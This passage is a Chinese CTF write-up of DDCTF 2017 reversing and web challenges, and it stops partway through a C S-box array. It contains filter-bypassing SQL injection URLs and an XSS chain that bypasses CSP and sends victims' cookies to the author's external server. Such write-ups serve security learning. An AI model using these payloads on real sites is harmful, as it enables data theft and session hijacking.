DDCTF 2017 writeup

0x00 前言

官方题目下载链接: http://sec.didichuxing.com/static/upload/attachment//article//20170608/1496941331468739866.zip
官方解答视频: http://v.youku.com/v_show/id_XMjgxOTkxNjQ4NA==.html?spm=a2h0k.8191407.0.0&from=s1.8-1-1.2 最近整理资料的时候,想起了当时DDCTF的事情,一直没有整理个writeup。今天我从当时发送题目writeup的邮件里面整理出来,记录一下。
客观来讲,题目质量很好,当时让我学习到了很多东西,真的值得好好做一做。嗯为滴滴打call

0x01 Hello

这题是Mac下的执行文件,但是不用动态调试。解题思路,先放到IDA中看看,发现核心函数为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int sub_100000CE0()
{
int result; // eax@1
signed int v1; // [sp+1Ch] [bp-14h]@2
int v2; // [sp+24h] [bp-Ch]@1

v2 = ((unsigned __int64)((char *)sub_100000CB0 - (char *)(__int64 (*)())sub_100000C90) >> 2) ^ byte_100001040[0];
result = sub_100000DE0();
if ( !(result & 1) )
{
v1 = 0;
while ( v1 < 55 )
{
byte_100001040[(signed __int64)v1] -= 2;
byte_100001040[(signed __int64)v1] ^= v2;
++v1;
++v2;
}
result = printf("\nFinal output is %s\n", &byte_100001040[1]);
}
return result;
}

逻辑很简单,先减2后XOR v2,就可以得到byte_100001040中的数据。不知v2,0-255都跑一遍,发现73比较有意义。
Python脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__author__ = 'angelwhu'

bytes = [0x41, 0x10, 0x11, 0x11, 0x1B, 0x0A, 0x64, 0x67, 0x6A, 0x68, 0x62, 0x68, 0x6E, 0x67, 0x68,
0x6B, 0x62, 0x3D, 0x65, 0x6A, 0x6A, 0x3D, 0x68, 0x04, 0x05, 0x08, 0x03, 0x02, 0x02, 0x55, 0x08,
0x5D, 0x61, 0x55, 0x0A, 0x5F, 0x0D, 0x5D, 0x61, 0x32, 0x17, 0x1D, 0x19, 0x1F, 0x18, 0x20, 0x04,
0x02, 0x12, 0x16, 0x1E, 0x54, 0x20, 0x13, 0x14, 0x00, 0x00] //IDA数据段里面抠出来。

print len(bytes)
'''
for k in range(256):
res = ""
v2 = k
for i in range(55):
res += chr((bytes[i] - 2) ^ v2)
v2 = v2 + 1
print str(k) + ": " + res
'''
res = ""
v2 = 73
for i in range(55):
res += chr((bytes[i] - 2) ^ v2)
v2 = v2 + 1
print res

运行截图如下:
再用v2=73跑一遍,最终获取flag~ flag: DDCTF-5943293119a845e9bbdbde5a369c1f50@didichuxing.com

0x02 Android easy

apk放在jeb中,得到关键的计算flag代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static {
FlagActivity.m = "com.didi_ctf.flagapp.FlagActivity";
FlagActivity.p = new byte[]{-40, -62, 107, 66, -126, 103, -56, 77, 122, -107, -24, -127, 72, -63, -98, 64, -24, -5, -49, -26, 79, -70, -26, -81, 120, 25, 111, -100, -23, -9, 122, -35, 66, -50, -116, 3, -72, 102, -45, -85, 0, 126, -34, 62, 83, -34, 48, -111, 61, -9, -51, 114, 20, 81, -126, -18, 27, -115, -76, -116, -48, -118, -10, -102, -106, 113, -104, 98, -109, 74, 48, 47, -100, -88, 121, 22, -63, -32, -20, -41, -27, -20, -118, 100, -76, 70, -49, -39, -27, -106, -13, -108, 115, -87, -1, -22, -53, 21, -100, 124, -95, -40, 62, -69, 29, 56, -53, 85, -48, 25, 37, -78, 11, -110, -24, -120, -82, 6, -94, -101};
FlagActivity.q = new byte[]{-57, -90, 53, -71, -117, 98, 62, 98, 101, -96, 36, 110, 77, -83, -121, 2, -48, 94, -106, -56, -49, -80, -1, 83, 75, 66, -44, 74, 2, -36, -42, -103, 6, -115, -40, 69, -107, 3, -73, -101, 99, 70, -21, 6, 106, -18, 86, -87, 10, -61, -8, 20, 44, 48, -77, -36, 44, -17, -48, -66, -77, -78, -60, -93, -94, 65, -83, 86, -14, 10, 84, 70, -8, -63, 26, 126, -76, -104, -123, -71, -126, -62, -23, 11, -39, 70, 14, 59, -101, -39, -124, 91, -109, 102, -49, 21, 105, 0, 37, -128, -57, 117, 110, -115, -86, 56, 25, -46, -55, 7, -125, 109, 76, 104, -15, 82, -53, 18, -28, -24};
}

public FlagActivity() {
super();
}

private String i() {
int v1 = 0;
byte[] v2 = new byte[FlagActivity.p.length];
int v0;
for(v0 = 0; v0 < v2.length; ++v0) {
v2[v0] = ((byte)(FlagActivity.p[v0] ^ FlagActivity.q[v0]));
}

int v3 = v2[0];
for(v0 = 0; v2[v3 + v0] != 0; ++v0) {
}

byte[] v4 = new byte[v0];
while(v1 < v0) {
v4[v1] = v2[v3 + v1];
++v1;
}

return new String(v4);
}

public void onClickTest(View arg3) {
if(this.n.getText().toString().equals(this.i())) {
this.o.setText(2131099685);
}
else {
this.o.setText(2131099683);
}
}

把代码抠出来,写java代码跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package basic;

public class Main5 {

static byte[] p = new byte[]{-40, -62, 107, 66, -126, 103, -56, 77, 122, -107, -24, -127, 72, -63, -98, 64, -24, -5, -49, -26, 79, -70, -26, -81, 120, 25, 111, -100, -23, -9, 122, -35, 66, -50, -116, 3, -72, 102, -45, -85, 0, 126, -34, 62, 83, -34, 48, -111, 61, -9, -51, 114, 20, 81, -126, -18, 27, -115, -76, -116, -48, -118, -10, -102, -106, 113, -104, 98, -109, 74, 48, 47, -100, -88, 121, 22, -63, -32, -20, -41, -27, -20, -118, 100, -76, 70, -49, -39, -27, -106, -13, -108, 115, -87, -1, -22, -53, 21, -100, 124, -95, -40, 62, -69, 29, 56, -53, 85, -48, 25, 37, -78, 11, -110, -24, -120, -82, 6, -94, -101};
static byte[] q = new byte[]{-57, -90, 53, -71, -117, 98, 62, 98, 101, -96, 36, 110, 77, -83, -121, 2, -48, 94, -106, -56, -49, -80, -1, 83, 75, 66, -44, 74, 2, -36, -42, -103, 6, -115, -40, 69, -107, 3, -73, -101, 99, 70, -21, 6, 106, -18, 86, -87, 10, -61, -8, 20, 44, 48, -77, -36, 44, -17, -48, -66, -77, -78, -60, -93, -94, 65, -83, 86, -14, 10, 84, 70, -8, -63, 26, 126, -76, -104, -123, -71, -126, -62, -23, 11, -39, 70, 14, 59, -101, -39, -124, 91, -109, 102, -49, 21, 105, 0, 37, -128, -57, 117, 110, -115, -86, 56, 25, -46, -55, 7, -125, 109, 76, 104, -15, 82, -53, 18, -28, -24};

private static String i() {
int v1 = 0;
byte[] v2 = new byte[p.length];
int v0;
for(v0 = 0; v0 < v2.length; ++v0) {
v2[v0] = ((byte)(p[v0] ^ q[v0]));
}

int v3 = v2[0];
for(v0 = 0; v2[v3 + v0] != 0; ++v0) {
}

byte[] v4 = new byte[v0];
while(v1 < v0) {
v4[v1] = v2[v3 + v1];
++v1;
}

return new String(v4);
}

public static void main(String[] args)
{
System.out.println(i());
}
}

运行得到flag:

0x03 Evil.exe

首先将exe文件扔到ida中。大概行为分析有:

IDA中静态分析,关键函数为:
1.生成key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl sub_401740(int a1, unsigned __int64 a2)
{
unsigned __int64 v2; // rax@1
char v4[8]; // [sp+0h] [bp-10h]@3
int i; // [sp+Ch] [bp-4h]@1

LODWORD(v2) = a1;
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
for ( i = 0; i < 8; ++i )
{
v4[i] = a2;
v2 = a2 >> 8;
a2 >>= 8;
}
for ( i = 0; i < 256; ++i )
{
*(_BYTE *)(i + a1 + 8) = i + v4[i % 8];
LODWORD(v2) = i + 1;
}
return v2;
}

2.使用1中生成的key解密x.jpg中的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __cdecl sub_401800(int a1, int a2, int a3, unsigned int a4)
{
unsigned __int8 v4; // ST02_1@3
unsigned __int8 v5; // ST03_1@3
unsigned int i; // [sp+4h] [bp-4h]@1

for ( i = 0; i < a4; ++i )
{
*(_DWORD *)a1 = (*(_DWORD *)a1 + 1) % 256;
*(_DWORD *)(a1 + 4) = (*(_BYTE *)(a1 + *(_DWORD *)a1 + 8) + *(_DWORD *)(a1 + 4)) % 256;
v4 = *(_BYTE *)(a1 + *(_DWORD *)a1 + 8);
v5 = *(_BYTE *)(a1 + *(_DWORD *)(a1 + 4) + 8);
*(_BYTE *)(a1 + *(_DWORD *)a1 + 8) = v5;
*(_BYTE *)(a1 + *(_DWORD *)(a1 + 4) + 8) = v4;
*(_BYTE *)(i + a3) = *(_BYTE *)(a1 + (v5 + v4) % 256 + 8) ^ *(_BYTE *)(i + a2);
}
}

这两部分逻辑都很简单,使用python代码解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__author__ = 'angelwhu'

import sys

#0x4A 87 54 F5 74 51 74
key_origin = [0x74,0x51,0x74,0xF5,0x54,0x87,0x4A,0x00]
#key_origin = [0x00,0x4A,0x87,0x54,0xF5,0x74,0x51,0x74]

key = []
#0x4A8754F5745174

for i in range(256):
key.append((i + key_origin[i % 8])%256)
print key

count = 0

a = 0
b = 0
result = ""

with open('x.jpg', 'r') as f:
while True:
piece = f.read(1)
if not piece:
break
#print hex(ord(piece))
a = (a + 1) % 256
b = (key[a] + b) % 256
v4 = key[a]
v5 = key[b]
key[a] = v5
key[b] = v4
temp = key[(v4 + v5) % 256] ^ ord(piece)
temp = temp ^ (count%256) #后面运行时,进行了异或。
print hex(temp)
result = result + chr(temp)
count = count + 1

3.运行解密后的代码,看着像个shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
LPVOID __cdecl sub_401220(void *a1, SIZE_T dwSize)
{
LPVOID result; // eax@1
LPVOID lpAddress; // [sp+0h] [bp-8h]@1
SIZE_T i; // [sp+4h] [bp-4h]@2

result = VirtualAlloc(0, dwSize, 0x1000u, 0x40u);
lpAddress = result;
if ( result )
{
memcpy(result, a1, dwSize);
for ( i = 0; i < dwSize; ++i )
*((_BYTE *)lpAddress + i) ^= i;
if ( _time32(0) - *(_DWORD *)lpAddress >= 0 && _time32(0) - *(_DWORD *)lpAddress <= 1800 )
result = (LPVOID)((int (*)(void))((char *)lpAddress + 4))(); #运行解密代码。
else
result = (LPVOID)VirtualFree(lpAddress, dwSize, 0x4000u);
}
return result;
}

写个C代码,运行一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <Windows.h>

char time[] = "\xee\x55\xd\x59";
char shell[] = "\xee\x55\xd\x59\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\xc\x8b\x76\x1c\x8b\x46\x8\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x1\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x1\xea\x8b\x4a\x18\x8b\x5a\x20\x1\xeb\xe3\x34\x49\x8b\x34\x8b\x1\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x7\xc1\xcf\xd\x1\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x1\xeb\x66\x8b\xc\x4b\x8b\x5a\x1c\x1\xeb\x8b\x4\x8b\x1\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x8\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\xe\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x4\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x8\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\xa\x89\xe6\x56\xff\x55\x4\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x58\x20\x20\x20\x68\x72\x61\x74\x73\x68\x43\x6f\x6e\x67\x31\xdb\x88\x5c\x24\x8\x89\xe3\x68\x63\x6f\x6d\x58\x68\x69\x6e\x67\x2e\x68\x63\x68\x75\x78\x68\x64\x69\x64\x69\x68\x35\x35\x34\x40\x68\x37\x34\x61\x38\x68\x38\x61\x32\x62\x68\x32\x35\x62\x37\x68\x30\x62\x66\x61\x68\x64\x33\x31\x34\x68\x38\x33\x62\x66\x68\x62\x65\x62\x33\x68\x54\x46\x2d\x61\x68\x20\x44\x44\x43\x68\x4b\x65\x79\x3a\x31\xc9\x88\x4c\x24\x3b\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x8";

int main(int argc, char **argv)
{
LPVOID result;
LPVOID lpAddress;

result = VirtualAlloc(0, strlen(shell), 0x1000u, 0x40u);
lpAddress = result;

for (int i = 0; i < strlen(shell); i++)
{
*((char *)lpAddress + i) = shell[i];
}

result = (LPVOID)((int(*)(void))((char *)lpAddress + 4))();

return 0;
}

弹框得到flag~ 后面用OnlyDebug直接复制flag~ 得到flag:esp=0036F764, (ASCII "Key: DDCTF-abeb383bfd3140bfa25b78a2b74a8554@didichuxing.com")

0x04 panic

又是个Mac下的可执行文件,运用IDA加上经验做题~~
用ida打开文件,发现一处可疑字符: x跟踪到如下代码: 很简单的异或操作,v31不知道是多少,写个python遍历下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__author__ = 'angelwhu'

bytes =[0x11, 0x11, 0x16 ,0x01 ,0x13 ,0x78 ,0x67 ,0x33 ,0x62 ,0x31 ,0x33 ,0x65 ,0x31 ,0x36 ,0x67 ,0x6C ,0x30
,0x61 ,0x61 ,0x66 ,0x37 ,0x64 ,0x6D ,0x63 ,0x67 ,0x30 ,0x34 ,0x67 ,0x33 ,0x37 ,0x30 ,0x64 ,0x67
,0x34 ,0x66 ,0x6D ,0x62 ,0x60 ,0x15 ,0x31 ,0x3C ,0x31 ,0x3C ,0x36 ,0x3D ,0x20 ,0x2D ,0x3C ,0x3B
,0x32 ,0x7B ,0x36 ,0x3A ,0x38]

print len(bytes)

v30 = 0x11

for i in range(256):
result = ""
for b in bytes:
result = result + chr(b ^ i)
print result

顺利得到flag:

0x05 Inject

这是个注入题,很有技巧性,不过之前的比赛出现过~ 过滤了逗号,引号,空格等。关键有3处:

  • 用%0A替代空格
  • 用联合查询绕过逗号
  • secret列名被过滤,也同时要用联合查询绕过。

一步步查询:

1
2
3
4
5
6
7
8
9
10
11
http://118.190.134.8/t1/news.php?id=0%0Aunion%0ASELECT%0A*%0AFROM%0A((SELECT%0A1)a%0AJOIN%0A(SELECT%0A2)b%0AJOIN%0A(SELECT%0A3)c%0AJOIN%0A(SELECT%0A4)d)
http://118.190.134.8/t1/news.php?id=0%0Aunion%0ASELECT%0A*%0AFROM%0A((SELECT%0A1)a%0AJOIN%0A(SELECT%0Adatabase()%0Afrom%0Anews)b%0AJOIN%0A(SELECT%0A3)c%0AJOIN%0A(SELECT%0A4)d)
数据库名:t1

http://118.190.134.8/t1/news.php?id=0%0Aunion%0ASELECT%0A*%0AFROM%0A((SELECT%0A1)a%0AJOIN%0A(SELECT%0Atable_name%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=0x7431)b%0AJOIN%0A(SELECT%0A3)c%0AJOIN%0A(SELECT%0A4)d)
获取表名:
http://118.190.134.8/t1/news.php?id=0%0Aunion%0ASELECT%0A*%0AFROM%0A((SELECT%0A1)a%0AJOIN%0A(SELECT%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema=0x7431)b%0AJOIN%0A(SELECT%0Aid%0Afrom%0Anews)c%0AJOIN%0A(SELECT%0A4)d)
group_concat 直接获取所有表名~ id,title,content,secret

payload:
http://118.190.134.8/t1/news.php?id=0%0Aunion%0ASELECT%0A*%0AFROM%0A((SELECT%0A1)a%0AJOIN%0A(SELECT%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema=0x7431)b%0AJOIN%0A(SELECT%0Agroup_concat(secret)%0Afrom%0Anews)c%0AJOIN%0A(SELECT%0A4)d)

secret被过滤,所以payload没有成功。
于是使用联合查询绕过secret过滤,并且使用offset替代逗号的limit。 完整的payload为:

1
select i.4 from (select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d) union select * from news)i limit 1 offset 4;

空格用%0A代替,得到flag:

0x06 Android Normal

这是个简单的jni程序。jeb中发现代码:

1
2
3
if(this.mFlagEntryView.getText().toString().equals(this.stringFromJNI())) {
this.mFlagResultView.setText("Correct");
}

stringFromJNI()是个本地方法,因此只需要写个app调用即可。开发过jni程序的就能简单得到flag,关键代码(注意包名要一致)如下:

1
2
3
4
5
6
7
8
9
10
11
12
package com.didictf.hellolibs;

/**
* Created by angelwhu on 2017/5/20.
*/

public class MainActivity {
static {
System.loadLibrary("hello-libs");
}
public native String stringFromJNI();
}

在MainActivity中调用即可:

1
2
com.didictf.hellolibs.MainActivity test = new com.didictf.hellolibs.MainActivity();
System.out.println(test.stringFromJNI());

得到flag:DDCTF-8329d0c453884d8997c6b38445af5d65@didichuxing.com

0x07 xss

到这个题目就是高级难度了,这个Web题目很新颖~~具体步骤如下:

1. 绕过CSP

页面设置了CSP防护:

1
Content-Security-Policy: default-src 'self'; script-src 'self'

网上搜一搜,可以查到用link预加载绕过CSP:

1
gg<link rel="prefetch" href="http://121.42.175.111:2333/">

得到服务器bot的访问:

1
2
3
4
5
6
7
8
9
10
11
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [114.215.24.14] port 2333 [tcp/*] accepted (family 2, sport 36106)
GET / HTTP/1.1
Host: 121.42.175.111:2333
Connection: keep-alive
Purpose: prefetch
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept: */*
Referer: http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=9654f6bbbdbe26a23995b5a47eb067ec
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8

2. 执行自定义JavaScript代码

访问refer页面可以看到我发送过去的代码,这个页面可控。也可以绕过CSP的防护。引用我们的自定义js代码。
首先发送第一个请求:

1
2
//gg<link rel="prefetch" href="http://121.42.175.111:2333/">
location.href='http://121.42.175.111:8080/xss/xss_new.php?cookie=' + document.cookie;

得到回复:

1
2
3
4
5
6
7
8
9
10
11
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [114.215.24.14] port 2333 [tcp/*] accepted (family 2, sport 40272)
GET / HTTP/1.1
Host: 121.42.175.111:2333
Connection: keep-alive
Purpose: prefetch
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept: */*
Referer: http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=dfa5cde6e37a9961c5de4b590596a40e
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8

这个页面就注入了我们的获取cookie的js代码,然后再发送一个请求,引用这个页面的js代码即可。 发送:

1
gg<script src="http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=dfa5cde6e37a9961c5de4b590596a40e"></script>

得到Cookie:

1
114.215.24.14:56462 [200]: /xss/xss_new.php?cookie=hit=c2V0Y29va2llKCJmbGFnIiwgImZsYWd7eHh4eHh4eHh4eHh4eHh4eH0iLCB0aW1lKCkrMzYwMDAwMDAsICIvdDIvZjFhZ18xc19oM3IzIik7

解码得到:

1
setcookie("flag", "flag{xxxxxxxxxxxxxxxx}", time()+36000000, "/t2/f1ag_1s_h3r3");

3. iframe获取子目录Cookie

如何获取子目录的Cookie,又是一个知识点,用iframe试试成功~~

1
2
3
4
5
//<link rel="prefetch" href="http://121.42.175.111:2333/">

setTimeout(function () {
location.href='http://121.42.175.111:8080/xss/xss_new.php?cookie=' + this.window.frames[0].document.cookie;
}, 3000);

同样提交:

1
2
<iframe src="/t2/f1ag_1s_h3r3"></iframe>  
<script src="http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=1488fedeaf701b9f522628e997c31f23"></script>

得到flag:

1
[Sat May 20 11:12:43 2017] 114.215.24.14:48038 [200]: /xss/xss_new.php?cookie=flag=flag%7BDDCTF-82b6ac5623b04c8f823d29fa73875c9c%40didichuxing.com%7D;%20hit=c2V0Y29va2llKCJmbGFnIiwgImZsYWd7eHh4eHh4eHh4eHh4eHh4eH0iLCB0aW1lKCkrMzYwMDAwMDAsICIvdDIvZjFhZ18xc19oM3IzIik7

0x08 crackme

这个逆向题目难度又提升了一个等级~ AES、RC4加密算法都上了,复习了下密码学的知识。 以前玩CTF,主要做web和pwn,这个题目很好地锻炼了我的逆向技术~~ 一步步调试学习,耐心就能做出来。

1. Misc部分

图像实际上为JPG格式,末尾有多余字符。是zlib压缩~ 分割文件:

1
2
3
4
5
6
with open('crackme.png', 'rb') as f:
data = f.read()
with open('part1', 'wb') as f:
f.write(data[0:0x97e4])
with open('part2', 'wb') as f:
f.write(data[0x97e4:])

获取zip文件:

1
2
3
4
5
6
7
8
9
10
import zlib
import binascii
import base64
with open('part2', 'rb') as f:
#data = binascii.hexlify(f.read())
data = f.read()
#print data
result = base64.b64decode(zlib.decompress(data))
with open('Crackme', 'wb') as f:
f.write(result)

PK前面两个字节换成了KP。。。
密码通过之后的Hint猜到:

1
2
3
4
5
6
>>> 0/0
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ZeroDivisionError: integer division or modulo by zero

密码是:integer division or modulo by zero

2. Reverse部分

首先,通过IDA梳理下整体过程,关键加密流程代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
memcpy(&v7, a2 + 6, 0x20u); //32位md5值放到v7中。
_strupr(&v7); //转换为大写。
for ( i = 0; i < 16; ++i )
{
if ( !(unsigned __int8)sub_409690(*(&v7 + 2 * i), *((_BYTE *)&v8 + 2 * i), &v262[i]) ) //32位md5值 转换为Hex 存储在char v262[16]中。
return 0;
}
dword_419408 = 8;
dword_41940C = 14;
sub_40A090((int)&v264, (int)&v17, 0x20u); //使用v17经过变化,得到44个int值(32bit),放到int v264[44]中。 内存应该可dump。

sub_40A200((int)&v264, (int)v262, (int)&v263); //使用v264 和 输入的v262进行计算,得到4个int数,存在v263中。
// 这一步是关键。
//类似RC6加密
sub_409500(&v263, v6, &v17); // 经过计算得到: char v6[16]

sub_407B80(&v260); //得到 int v260[6], 前两个是0。
v3 = strlen(a1);
sub_407BC0((int)&v260, a1, v3); //修改了v260
sub_408B30(&v260, v261); //得到v261,内存应该可dump。
v16 = 1;
for ( j = 0; j < 16; ++j )
{
if ( (unsigned __int8)v261[j] != (unsigned __int8)v6[j] )
{
v16 = 0;
break;
}
}
result = v16;

通过阅读反汇编代码,发现基本流程为:

  • 首先将用户输入的注册码中32位变成大写,转换为16字节的数据。
  • 使用v17前32位作为密钥,用类似RC6加密方式进行加密。得到新的16字节数据v263
  • 使用v17共240位作为密钥,用类似AES加密方式进行加密。得到新的16字节数据v6
  • 将用户输入的用户名经过计算得到16字节数据v261。这部分直接用OD Dump出来。
  • 比较v6v261,相等即可。

上面五个步骤中,用户名生成的v261可以直接用OD获取。输入DDCTF-65f9得到如下16字节数据:

1
uint8_t target_hex[] = { 0xE8, 0xD8, 0xE2, 0xCE, 0xAF, 0x9D, 0xE0, 0x76, 0xA0, 0xF2, 0x11, 0xF5, 0xA1, 0x89, 0x53, 0x52 };

3. 类似AES解密部分

这时,需要逆向sub_409500函数,获取v263了。 通过阅读梳理,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int result; // eax@11
char v4[16]; // [sp+4h] [bp-18h]@5
unsigned __int8 j; // [sp+19h] [bp-3h]@3
unsigned __int8 k; // [sp+1Ah] [bp-2h]@7
unsigned __int8 i; // [sp+1Bh] [bp-1h]@1

for ( i = 0; (signed int)i < 4; ++i )
{
for ( j = 0; (signed int)j < 4; ++j )
*(&v4[4 * i] + j) = *(_BYTE *)(data + i + 4 * j);
} //矩阵转置
xorKey((int)v4, key, dword_41940C);
for ( k = dword_41940C - 1; (signed int)k >= 1; --k )
{
shift_rows_DD((int)v4);
boxTranslate((int)v4);
xorKey((int)v4, key, k);
sub_409240((int)v4);
}
shift_rows_DD((int)v4);
boxTranslate((int)v4);
xorKey((int)v4, key, 0);
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= 4 )
break;
for ( j = 0; (signed int)j < 4; ++j )
*(_BYTE *)(out + i + 4 * j) = *(&v4[4 * i] + j);
}//矩阵转置
return result;

我把里面的几个函数名改了下,并且关键就是那这些变换过程:

  • shift_rows_DD() 行移位
  • boxTranslate() S盒替换
  • xorKey() 与输入的key进行异或
  • sub_409240() 列混淆

这时,有了加密后的HEX值和Key(IDA直接获取),就可以逆向算法了。参考AES源码,C语言解密代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
#include <stdint.h>
#include <stdio.h>


uint8_t DD_BOX[] = {
0xE2, 0xD6, 0x81, 0xA6, 0x2A, 0xFE, 0xC5, 0x3C, 0xBD, 0xAF, 0x54, 0x0A, 0x75, 0xD8, 0x51, 0x20,
0xE9, 0xBB, 0xED, 0x7A, 0x92, 0xEE, 0x48, 0xA4, 0x6E, 0x03, 0xB5, 0x6D, 0xB8, 0xA5, 0x59, 0x7D,
0xDF, 0x4A, 0x39, 0x1A, 0x4D, 0xD3, 0xC7, 0x22, 0xEC, 0x50, 0xDE, 0xFC, 0xF3, 0xC9, 0x5C, 0xC8,
0x89, 0x91, 0x83, 0xD7, 0xF4, 0x43, 0x88, 0x74, 0xC0, 0x6A, 0x58, 0x96, 0x02, 0x08, 0x37, 0x72,
0x0C, 0x7C, 0x0D, 0xA9, 0x2F, 0x7E, 0x69, 0x80, 0x68, 0x4C, 0x35, 0x2D, 0x40, 0xBE, 0x9A, 0x36,
0xF7, 0x2C, 0x8F, 0xC6, 0xB6, 0xDB, 0xCE, 0x09, 0xBC, 0xEB, 0x04, 0xD0, 0xA8, 0xC4, 0x11, 0xB2,
0x05, 0x52, 0xB1, 0xD4, 0x15, 0xA2, 0x97, 0x2E, 0x90, 0x64, 0x29, 0x63, 0x31, 0x8A, 0xE8, 0xCA,
0x87, 0x3E, 0x76, 0x23, 0x21, 0xD2, 0x0B, 0x25, 0x78, 0x24, 0xE0, 0x34, 0xA1, 0xD9, 0x0E, 0xAC,
0x8D, 0x00, 0x60, 0xE4, 0xAA, 0x5D, 0x0F, 0xEA, 0x38, 0x27, 0xBA, 0x7F, 0xA3, 0x70, 0x32, 0x16,
0xFB, 0x66, 0xDA, 0x06, 0x65, 0x3D, 0xBF, 0x3B, 0x28, 0x71, 0xE1, 0x62, 0xF8, 0xAD, 0x9F, 0x4E,
0x9D, 0x42, 0xF2, 0xCF, 0x12, 0x85, 0xA0, 0x4F, 0x67, 0x2B, 0x93, 0xF0, 0x82, 0x4B, 0x01, 0x56,
0x1C, 0x9C, 0xE5, 0x13, 0xC2, 0xFA, 0xFF, 0xDC, 0x9B, 0x94, 0x98, 0xE3, 0xF6, 0x84, 0xEF, 0x77,
0xE7, 0x6B, 0x10, 0x46, 0x5E, 0xB3, 0x86, 0xB0, 0xF9, 0x17, 0x6F, 0x73, 0xD1, 0xAE, 0x7B, 0x44,
0x6C, 0xAB, 0x1E, 0xD5, 0x5B, 0x9E, 0x26, 0x5F, 0xC3, 0x3A, 0x14, 0x18, 0x1B, 0x3F, 0x79, 0xF1,
0xFD, 0x8E, 0xB7, 0xC1, 0xCC, 0x55, 0xF5, 0x45, 0x53, 0x57, 0xA7, 0x47, 0x95, 0x8B, 0xCD, 0x61,
0x49, 0x19, 0x8C, 0x1F, 0x30, 0x5A, 0x99, 0x41, 0x1D, 0x33, 0xB4, 0xE6, 0xCB, 0x07, 0xDD, 0xB9
};

uint8_t INV_BOX_DD[] = {
0x18, 0xEA, 0xC3, 0x91, 0xA5, 0x06, 0x39, 0xDF, 0xD3, 0x75, 0xB0, 0x67, 0x04, 0x24, 0xE7, 0x68,
0x2C, 0xE5, 0x4A, 0x3B, 0xAD, 0x46, 0xF8, 0x9C, 0xBD, 0x1F, 0x32, 0xCD, 0x0B, 0x8F, 0x2D, 0x3F,
